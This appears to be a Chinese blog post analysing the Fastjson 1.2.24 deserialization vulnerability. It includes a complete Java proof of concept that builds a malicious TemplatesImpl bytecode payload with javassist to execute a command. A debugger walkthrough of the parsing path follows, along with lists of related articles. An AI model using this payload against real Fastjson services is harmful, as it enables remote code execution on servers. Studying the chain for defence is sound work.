依赖

先研究1.2.24版本的,版本高了就有waf了,不过也能绕,高版本以后再说

  1. <dependency>
  2. <groupId>com.alibaba</groupId>
  3. <artifactId>fastjson</artifactId>
  4. <version>1.2.24</version>
  5. </dependency>
  6. <dependency>
  7. <groupId>mysql</groupId>
  8. <artifactId>mysql-connector-java</artifactId>
  9. <version>5.1.46</version>
  10. </dependency>
  11. <dependency>
  12. <groupId>org.javassist</groupId>
  13. <artifactId>javassist</artifactId>
  14. <version>3.29.1-GA</version>
  15. </dependency>

Fastjson之任意get,set调用

TemplatesImpl链

老样子定义恶意类,然后打TemplatesImpl的defineClass

  1. package org.example;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.Feature;
  4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  5. import javassist.*;
  6. import java.io.IOException;
  7. import java.util.Base64;
  8. public class Main {
  9. public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
  10. ClassPool pool = new ClassPool();
  11. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  12. CtClass cc = pool.makeClass("Cat");
  13. String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
  14. cc.makeClassInitializer().insertBefore(cmd);
  15. String randomClassName = "EvilCat" + System.nanoTime();
  16. cc.setName(randomClassName);
  17. cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  18. byte[] codes = cc.toBytecode();
  19. String value = Base64.getEncoder().encodeToString(codes);
  20. String payload = "{\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\": [\""+value+"\"], \"_name\": \"c.c\", \"_tfactory\": {}, \"_outputProperties\": {},\"_name\": \"a\", \"_version\": \"1.0\", \"allowedProtocols\": \"all\"}";
  21. // 注意这里这些属性都是私有属性,所以得设置Feature.SupportNonPublicField来保证可以对私有属性赋值
  22. JSON.parseObject(payload, Feature.SupportNonPublicField);
  23. }
  24. }

打个断点进行分析,断点打在JSON.parseObject,进入parse



这里配置了我们传入的Feature.SupportNonPublicField为true



继续跟进parse



继续跟进parse



这里对token进行选择,我们的token在DefaultJSONParser中被赋值了12,继续跟进,LBRACE就是12



进入parseObject,取到key为@type



加载key的value也就是我们传入的TemplatsImpl

跟进loadClass



往下走,获取一个类加载器来加载我们的恶意类,然后放入一个map中



返回之后往下走,调用getDeserializer将恶意类进行JSON反序列化



跟进该方法,一系列的判断,没啥用,直接过,来到这,创建了个JavaBeanDeserializer

跟进该方法,又是一系列的判断,略过来到这里,调用了JavaBeanDeserializer



跟进该构造方法



跟进build方法,这里循环调用恶意类的方法,调用到getOutProperties,define恶意类

set也是一样

JdbcRowSetImpl链

之前的JNDI注入分析文章已经分析过了

https://tttang.com/archive/1579/#toc_

https://www.cnblogs.com/F12-blog/p/18100120

Fastjson反序列化分析的更多相关文章

  1. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  2. fastjson及其反序列化分析--TemplatesImpl

    fastjson及其反序列化分析 源码取自 https://www.github.com/ZH3FENG/PoCs-fastjson1241 参考 (23条消息) Json详解以及fastjson使用 ...

  3. Fastjson反序列化漏洞分析 1.2.22-1.2.24

    Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...

  4. FastJson 反序列化漏洞原理分析

    Fastjson 简介 fastjson框架:https://github.com/alibaba/fastjson fastjson-jndi:https://github.com/earayu/f ...

  5. FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链

    0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...

  6. Fastjson反序列化漏洞概述

    Fastjson反序列化漏洞概述 ​ 背景 在推动Fastjson组件升级的过程中遇到一些问题,为帮助业务同学理解漏洞危害,下文将从整体上对其漏洞原理及利用方式做归纳总结,主要是一些概述性和原理上的东 ...

  7. fastjson反序列化漏洞研究(上)

    前言 最近护网期间,又听说fastjson传出“0day”,但网上并没有预警,在github上fastjson库中也有人提问关于fastjson反序列化漏洞的详情.也有人说是可能出现了新的绕过方式.不 ...

  8. 从0开始fastjson漏洞分析

    关于fastjson漏洞利用参考:https://www.cnblogs.com/piaomiaohongchen/p/10799466.html fastjson这个漏洞出来了很久,一直没时间分析, ...

  9. 从0开始fastjson漏洞分析2

    从0开始fastjson漏洞分析https://www.cnblogs.com/piaomiaohongchen/p/14777856.html 有了前文铺垫,可以说对fastjson内部机制和fas ...

  10. Java安全之SnakeYaml反序列化分析

    Java安全之SnakeYaml反序列化分析 目录 Java安全之SnakeYaml反序列化分析 写在前面 SnakeYaml简介 SnakeYaml序列化与反序列化 常用方法 序列化 反序列化 Sn ...

随机推荐

  1. Java设计模式-装饰者模式Decorator

    介绍 装饰者模式的核心思想是通过创建一个装饰对象(即装饰者),动态扩展目标对象的功能,并且不会改变目标对象的结构,提供了一种比继承更灵活的替代方案.需要注意的是,装饰对象要与目标对象实现相同的接口,或 ...

  2. Oracle system identifier already exists specify another SID

    问题说明 Centos7重装Oracle,使用DBCA重新创建实例test的时候报错,中文意思是: Oracle系统标识符(SID)"test"已存在,请指定另一个SID. 问题原 ...

  3. Spring Security实现JDBC用户登录认证

    在搭建博客后端服务框架时,我采用邮件注册+Spring Security登录认证方式,结合mysql数据库,给大家展示下具体是怎么整合的. 本篇是基于上一篇:spring boot实现邮箱验证码注册 ...

  4. 【树莓派】拷贝系统到新SD卡(系统备份/部署到另一台树莓派上)适用ubuntu 20.04.3

    本教程适用ubuntu 20.04.3 其他版本也大同小异.这种方法能更快的将系统部署下去,如果重新安装一遍加上各种配置相信你会比较疯狂即使做了自动化脚本! 一.树莓派sd卡拷贝 把旧SD卡插入树莓派 ...

  5. 【Android 逆向】【攻防世界】黑客精神

    1. apk 安装到手机,提示输入注册码 2. jadx打开apk MainActivity.java @Override // android.app.Activity public void on ...

  6. Python2升级到Python3

    操作系统环境:CentOS Linux release 7.4.1708 (Core). 系统默认Python版本为2.7. 升级前的版本信息: [root@cch-spider-web1 ~]# l ...

  7. 使用winsw将jar包注册成windows服务

    使用winsw将jar包注册成windows服务 注:exe文件作用:使用winsw将jar包注册成windows服务(下载地址https://github.com/winsw/winsw/relea ...

  8. Sourcetree 如何关联自己的gitlab仓库

    现在有些企业自己搭建了gitlab服务器,通过sourcetree从企业服务器拉取代码的时候会提示认证失败.今天搞了大半天才搞懂,给我自己做个笔记. 添加账户 托管服务商 选择 GitLab CE 托 ...

  9. 【复盘#01】myh笔试

    存疑 1.http响应体中版本和缓存是哪个字段(Etga) http和https的区别 2.mysql同一个表中有多个相同字段但搜索的时候只搜得出某一个,要怎么修改(inner ..) mysql如何 ...

  10. Jenkins配置SpringBoot项目启动脚本

    目录 背景 脚本编写 变量说明 使用说明 Q&A jenkins部署时错误 背景 上一篇Jenkins配置介绍了Jenkins远程部署的相关配置和步骤,但是最后的部署脚本只适用于部署原始tom ...